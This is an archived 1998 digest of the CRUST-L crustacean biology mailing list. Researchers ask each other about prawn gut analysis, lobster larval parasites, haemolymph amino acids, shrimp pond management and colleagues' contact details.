Email: alflow@yahoo.com Homepage: http://www.geocities.com/CollegePark/Quad/4386 _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Alfred Low Date: Mon, 17 Aug 1998 20:07:14 -0700 (PDT) Subject: CRUST-L: Prawn Gut Analysis Dear Colleagues, I would like to hear from people who have experience with prawn gut analysis. Specifically, I am planning to dissect out the guts of several species of penaeid prawns and would like tips from people who have already done this. Cheers, Alfred Low. _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Niel Bruce Date: Tue, 18 Aug 1998 21:43:33 +1000 Subject: CRUST-L: Where is Brusca? Does anyone know where Rick Brusca is at this moment? Rick does not seem to be back at Tucson yet, and I need to contact him. Niel L. Bruce, 138 Carmody Road, St Lucia Qld 4067, Australia Tlf: Home - (07) 3217 8054; International +61 7 3217 8054 Work - (07) 3239 3779; International +61 7 3239 3779 e-mail: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #156 ***************************** crust-l-digest Thursday, 27 August 1998 Volume 01 : Number 157 CRUST-L: Re: Non-member submission from [Rob Erdman ] CRUST-L: Effects of parasites and commensals on crustaceans. CRUST-L: Postlarval spiny lobster parasitism ? Re: CRUST-L: Postlarval spiny lobster parasitism ? CRUST-L: Authos of Upogebia spp. CRUST-L: email address Marilene Lima CRUST-L: Haemolymph amino acids. CRUST-L: Marine Science Library for Sale Re: CRUST-L: Marine Science Library for Sale CRUST-L: Triops distribution in Australia CRUST-L: Shrimp farming problems (fwd) CRUST-L: Uca pugilator CRUST-L: Toxicity potential of Ferric Chloride in Shrimp (fwd) CRUST-L: fiddler life span (fwd) CRUST-L: Hurricane Bonnie CRUST-L: Precocious ovarian maturation of crab CRUST-L: Cc: scip4019@leonis.nus.edu.sg ---------------------------------------------------------------------- From: Jeffrey Shields Date: Tue, 18 Aug 1998 08:55:07 -0400 Subject: CRUST-L: Re: Non-member submission from [Rob Erdman ] Please respond to Rob Erdman, and not to me. Thanks, Jeff >From: Rob Erdman >Subject: current addresses >X-Priority: 3 (Normal) >Content-Type: text/plain; charset=us-ascii >Content-Transfer-Encoding: 7bit > >Dear Crusters, > >I am trying to get the current contact information (address, e-mail) for >Roy Melville-Smith and Bob Elner. Please e-mail me direct at: >erdmanrb@eckerd.edu >Thanks to any who can help out. > >Cheers, > >Rob Erdman > >___________________________________________________________________________ ___ > >Robert B. Erdman Tel: 727-864-7884 >Department of Marine Science Fax: 727-864-7964 >Eckerd College >4200 54th Avenue South >St. Petersburg, FL 33711 >___________________________________________________________________________ ___ > > > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gannon, Andrew T."" Date: Tue, 18 Aug 98 10:34:00 PDT Subject: CRUST-L: Effects of parasites and commensals on crustaceans. Sorry to be late adding to this thread. As Chuck pointed out, we physiologists don't often think about the effects of symbionts on our data, but at their least intrusive, symbionts increase variance. A case in point: I found that blue crabs that were infested with the gill barnacle, Octolasmis muelleri, hyperventilated at rest. In Chuck's very thorough work on exercise in blue crabs, he found resting ventilation values about halfway between my uninfested crabs' and my infested crabs' ventilation rates. Since I found a 40% infestation rate from a population of crabs that I believe were not too far from where Chuck got his samples, it makes sense that 40% of his crabs would have been infested and slightly hyperventilating at rest. This would have added to the variance in his data, which was greater than in my data set. Andy Andrew T. Gannon Assistant Professor EMAIL: agannon@bsc.edu Department of Biology VOICEMAIL: (205) 226-4899 Birmingham Southern College FAX: (205) 226-3078 BOX 549022 Birmingham AL 35254 http://panther.bsc.edu/~agannon/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Emmanuel RICLET Date: Wed, 19 Aug 1998 09:17:19 +1100 Subject: CRUST-L: Postlarval spiny lobster parasitism ? Hi, I would like to know if somedody would be interested in studying parasitism of spiny lobster puerulus. The species is Panulirus argus, and it is just one of my project for the next year, but I feel there is something great to do about it. I can follow several discussion about parasitism, so I am nearly sure I will find somebody as curious as me. E. Riclet =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 19 Aug 1998 10:05:25 -0400 Subject: Re: CRUST-L: Postlarval spiny lobster parasitism ? Emmanuel There hasn't been much done on the diseases of crustacean larvae, let alone lobsters. Trematode metacercariae, fungal (Lagenidium) and bacterial infections, and possibly ellobiopsid (but only one record) infections have been reported from larval crustaceans. Fisher and Talbot have done some nice work on bacterial and fungal infections in eggs. Other possibilities include nematode and cestode larvae, and various members of the fouling community (ciliates, etc.). Cheers, Jeff At 09:17 AM 8/19/98 +1100, you wrote: >Hi, > >I would like to know if somedody would be interested in studying >parasitism of spiny lobster puerulus. The species is Panulirus argus, >and it is just one of my project for the next year, but I feel there is >something great to do about it. > >I can follow several discussion about parasitism, so I am nearly sure I >will find somebody as curious as me. > >E. Riclet >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""John C. Markham"" Date: Wed, 19 Aug 1998 10:00:51 -0700 Subject: CRUST-L: Authos of Upogebia spp. I need to know the names of the authors of two species of Upogebia. They are U. bowerbankii and U. spinigera. Many thanks! John Markham =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Stefan Koenemann"" Date: Thu, 20 Aug 1998 09:59:49 EST Subject: CRUST-L: email address Marilene Lima Does anybody know the email address of Marilene Lima, Instituto de Biologia, Rio de Janeiro? Her email address in the List of Participants of the ICC 4 apparently doesn't work. Thanks a lot, Stefan Stefan Koenemann Department of Biological Sciences Old Dominion University Norfolk, VA 23529-0266 USA Tel: (757) 683-3606 Fax: (757) 683-5283 e-mail: biolgrad@odu.edu http://www.odu.edu/~jrh100f http://www.odu.edu/~jrh100f/amphipod =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Thu, 20 Aug 1998 11:29:38 +0100 Subject: CRUST-L: Haemolymph amino acids. Hello, I am running HPLC on haemolymph of Nephrops. I am trying to establish a normal range of values for OPT-derivatized amino acids (i.e not including Proline etc). I am obtaining values which I think are rather high when compared to other studies (e.g Glycine @ 8.99uM ml-1, Asparagine @ 3.86uM ml-1, Serine @ 8.72uM ml-1 etc). Does anyone know of any reference data for AA values in deproteinised Crustacean serum that I could use to see if I am on the right track Cheers Grant Grant D Stentiford, Crustacean Parasitology, Graham kerr Building. University of Glasgow. Glasgow. Scotland. Tel; UK (0141) 3306627 email ; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Billy B. Boothe"" Date: Fri, 21 Aug 1998 09:59:30 -0700 Subject: CRUST-L: Marine Science Library for Sale Extensive Reference Library For Sale: Marine Science, Environmental, and Taxonomic If you or your laboratory is interested in obtaining this vital and important collection, pease contact Bill Boothe at (941)955-1438, NaturalEnquirer@mailexcite.com, or write to: Natural Encounters, P. O. Box 49274, Sarasota, FL 34230. This very sizeable comprehensive reference library is comprised of well over 8,000 reprints, books, governmental publications, specializing in the taxonomy and systematics of all major invertebrate groups of the southeastern United States, Caribbean, and Gulf of Mexico fauna. Over 5,000 separate publications of major authors concerned with Crustacea (shrimp, crabs, mysids, isopods, and arthropods), Tunicates, Mollusks, Echinoderms, Polychaetes, Sponges, and Hydroids. The other 3,000 plus publications are concerned with bioassay and toxicology, environmental physiology, fish taxonomy and physiology, marine ecology, and reef biology and ecology. A majority of these are original papers, many of which are pre-1950. Some major works date from the late 1800's and early 1900's. Documents include hundreds of Smithsonian Bulletins and Proceedings, American Museum of Natural History notes, Allan Hancock expedition reports, Fish and Wildlife Biological Survey Reports, and various state governmental publications. Some are photocopies of older major works and manuscripts that were used to make invertebrate identifications. All papers are indexed on 3 x 5 index cards and are catalogued, numbered, and arranged by both group and author. The quantity of Crustacean literature (shrimps, crabs, mysids, amphipods) is extensive and is taxonomically arranged by family and author in separate folders. (10+ boxes). In addition to the 8,000 papers are numerous journals and reports: American Society of Zoologists, Bulletin of Marine Sciences (1951-1975), Copeia, Journal of Crustacean Biology, Biological Society of Washington, BLM reports of the southeast and Gulf of Mexico, Smithsonian Contributions to Zoology, and OBS/FWS reports. Many are compete series from 1971 till the late 1980's. Also included are books and other publications by Rathbun, Richardson, van Name, Dall, Cushman, Nutting, Wilson, Barnard, Fraser, Manning, Williams, and Bayer, just to name a few. Because this library is so extensive, I would prefer to sell this as one complete library, but offers for portions of the collection will be considered. There are over fifty boxes of material, each box weighing 20-40 pounds. Free web-based email, Forever, From anywhere! http://www.mailexcite.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Alan W. Harvey"" Date: Fri, 21 Aug 1998 15:20:55 -0500 Subject: Re: CRUST-L: Marine Science Library for Sale Dear Billy, Having just moved to the southeastern US, as a crustacean systematist teaching environmental biology, I find this reference collection quite intriguing. I guess the two obvious questions are: 1) what is the asking price, and 2) is there any way to get a clearer idea of just what is available? Cheers, Alan Alan W. Harvey Department of Biology - 8042 Georgia Southern University Statesboro, GA 30460 (912) 681-5784 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: paul Date: Sun, 23 Aug 1998 19:17:58 +0800 Subject: CRUST-L: Triops distribution in Australia Hi all, I was wondering if anyone can tell me the distribution of Triops in Australia? TIA Paul Paul Groves Head Aquarist Underwater World - Perth - Australia Founder MASWA - Marine Aquarists Society of WA Email paul@nw.com.au ICQ VIN# 4231441 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sun, 23 Aug 1998 14:06:41 -0400 Subject: CRUST-L: Shrimp farming problems (fwd) Please respond to Tiziano Scovacricchi and not to me. Thanks, Jeff ============================================================ >Reply-To: ""Tiziano Scovacricchi"" >From: ""Tiziano Scovacricchi"" >To: >Subject: Shrimp farming problems. >Date: Fri, 21 Aug 1998 16:33:56 +0200 >Dear Crust-L'ers, > >I know many of you are on holiday at this time of the year. So I re-present >a question I already submitted to the CRUST-List attention in the hope to >get some help from some of you. >We are talking about shrimp farming in the Venice (Northern Adriatic Sea) >area. Here we have two ponds of 9 ha each that were stocked on June 5th with >1,5 shrimp/m2. The turbidity was good (30-35 cm on the Secchi disk) till >July the 25th but from that date we had to couple with low early morning >D.O. problems and we had to increase water exchange in both the ponds. That >made us loose a little bit turbidity. Then we began on-line fertilization >with urea and triple perfosfate (0,83 kg N + 0,08 kg P per ha every 2-3 >days). >However, whilst pond n. 2 increased again its turbidity, water of pond n. 1 >gained transparency every day and in the pond spread very quickly a large >amount of macroalgae. >We insisted in fertilizing pond n. 1 more often and with double or triple >doses of fertilizer too. >Neverthless, we did not achieve our goal, to increase turbidity again and to >stop macroalgae growing, till now. > >Can you suggest some remedial to this critical situation ? > >We would greatly appreciate your advice. > >Thank you so much. > >Tiziano Scovacricchi >C.N.R. - Istituto di Biologia del Mare >Riva Sette Martiri, 1364/a >30122 Venezia, Italia >tel 0039-(0)41-520.76.22 >fax 0039-(0)41-520.41.26 >e-mail tisco@ibm.ve.cnr.it > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""G. Horseman"" Date: Tue, 25 Aug 1998 12:14:26 +0100 Subject: CRUST-L: Uca pugilator Does anybody have a recipe for a Ringer solution suitable for the fiddler crab Uca pugilator ? cheers, geoff horseman Geoff Horseman, IBLS Graham Kerr Building, Glasgow University, Glasgow, G12 8QQ Scotland, U.K. Tel. ++44 141-330-4430 Fax. ++44 141-330-5971 Web page: http://www.gla.ac.uk/Acad/IBLS/DEEB/gh/gh.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 26 Aug 1998 10:51:01 -0400 Subject: CRUST-L: Toxicity potential of Ferric Chloride in Shrimp (fwd) Please respond to Sergio Escutia, and not to me. Thanks, Jeff ================================================================ >Reply-To: ""Sergio Escutia"" >From: ""Sergio Escutia"" >To: >Subject: Toxicity potential of Ferric Chloride in Shrimp >Date: Tue, 25 Aug 1998 18:03:13 -0600 >MIME-Version: 1.0 > >To promote diatoms blooms instead of the less desirable cyanobacteria = >blooms in our shrimp ponds, we have been using with good results what we = >call at our farm ""chelated iron"" (a mixture of 1 : 1 in a molar = >relationship of Ferric Chloride and Disodic EDTA) along with Sodium = >Nitrate + Pentahydrated Sodium Metasilicate as fertilizer. > >Is there a toxicity potential (short term and long term) in using the = >Ferric Chloride + Disodic EDTA in penaeid shrimp ponds?. Can anyone = >provide the appropriate method of detection and levels to keep regarding = >this toxicity potential?.=20 > >Thanking you beforehand. > >Sergio Escutia >Aquastrat, S.A. de C.V. >Mazatlan, Sin., Mexico >52 (69) 851 228 tel >813 348 fax > >------=_NextPart_000_002E_01BDD052.A07108E0 >Content-Type: text/html; > charset=""iso-8859-1"" >Content-Transfer-Encoding: quoted-printable > > > > > >http-equiv=3DContent-Type> > > > > >To promote diatoms blooms instead of the less desirable cyanobacteria = >blooms=20 >in our shrimp ponds, we have been using with good results what we call = >at our=20 >farm ""chelated iron"" (a mixture of 1 : 1 in a molar = >relationship of=20 >Ferric Chloride and Disodic EDTA) along with Sodium Nitrate + = >Pentahydrated=20 >Sodium Metasilicate as fertilizer. >Is there a toxicity potential (short term and long term) in using the = >Ferric=20 >Chloride + Disodic EDTA in penaeid shrimp ponds?. Can anyone provide the = > >appropriate method of detection and levels to keep regarding this = >toxicity=20 >potential?. >Thanking you = >beforehand.color=3D#000000 size=3D2> >Sergio = >Escutia >Aquastrat, S.A. de = >C.V. >Mazatlan, Sin., = >Mexico >52 (69) 851 228 = >tel >813 348=20 >fax > >------=_NextPart_000_002E_01BDD052.A07108E0-- > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 26 Aug 1998 10:47:44 -0400 Subject: CRUST-L: fiddler life span (fwd) Please respond to Peter Hogarth and not to me. Thanks, Jeff ================================================================== Ps. My limited experience would indicate 1-2 years max. ================================================================== Read-Receipt-To: ""Peter J. Hogarth"" Delivery-Receipt-To: ""Peter J. Hogarth"" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII To answer a query from a colleague who's not on the List: does anyone know the average lifespan of a fiddler crab (preferably tropical species)? Peter Hogarth _________________________________________________________ Dr Peter J. Hogarth Department of Biology University of York P.O. Box 373 York YO10 5YW U.K. tel 01904 432817 fax 01904 432860 email pjh4@york.ac.uk _________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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(^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: fengqi Date: Thu, 27 Aug 1998 21:55:07 +0800 Subject: CRUST-L: Precocious ovarian maturation of crab Dear All, Normally, the Chinese freshwater crab Eriocheir sinensis mature in the second year. However, with the development of crab farming, most of the crabs mature in the first year. The matured crabs only have a body weight of 30-50 grams, which is much less than the market weight. Some scientists in China indicate that the reasons are higher temperature, good feeds, higher density, etc. We want to know what are the real or main reasons of precocious ovarian maturation of crab? And how to prevent this phenomenon? Any information and literatures are very much appreciated. Sincerely, Liu Fengqi Dept. of Biology Nankai University Tianjin 300071 China Tel/Fax: +86-22-2369-1856 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 27 Aug 1998 10:50:37 -0400 Subject: CRUST-L: Cc: scip4019@leonis.nus.edu.sg Please respond to Ju Bensheng , and not to me. Thanks, Jeff > >>From jeff Wed Aug 26 22:28:55 1998 >Received: from sable.nus.edu.sg (sable.nus.edu.sg [137.132.1.21]) by back.vims.edu (8.6.12/) with ESMTP id WAA01206 for ; Wed, 26 Aug 1998 22:28:50 -0400 >Received: from leonis.nus.edu.sg (scip4019@leonis.nus.edu.sg [137.132.1.18]) by sable.nus.edu.sg (8.8.8/8.6.9) with ESMTP id KAA06538 for ; Thu, 27 Aug 1998 10:28:42 +0800 (SST) >Received: from localhost (scip4019@localhost) by leonis.nus.edu.sg (8.8.8/8.6.9/CNS-3.5) with SMTP id KAA27390 for ; Thu, 27 Aug 1998 10:28:42 +0800 (SST) >Date: Thu, 27 Aug 1998 10:28:41 +0800 (SST) >From: Ju Bensheng >To: crust-l@vims.edu >Message-ID: >MIME-Version: 1.0 >Content-Type: TEXT/PLAIN; charset=US-ASCII > > >Dear all: > >I'd like to know the e-mail addresses of Prof. Rainer Keller in Institut >fur Zoophysiologie, Rheinische Friedrich-Wilhelms Universitat, Bonn, >Germany and Professor Francois van Herp in Catholic University of >Nijmegen, the Netherland. > >Your kind help will be greatly appreciated. > >Ju Bensheng >Department of Biological Sciences >National University of Singapore >Lower Kent Road >Singapore 119260 > >e-mail: dbsjubs@leonis.nus.edu.sg > > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #157 ***************************** crust-l-digest Friday, 4 September 1998 Volume 01 : Number 158 CRUST-L: Precocious ovarian maturation of crab -Reply CRUST-L: Summary of post-ICC amphipod meeting CRUST-L: Artemia CRUST-L: Numero 4 de la Revista AquaTIC CRUST-L: Numero 4 de la Revista AquaTIC CRUST-L: Coloured Shrimps CRUST-L: Electrical Crangons Re: CRUST-L: Coloured Shrimps 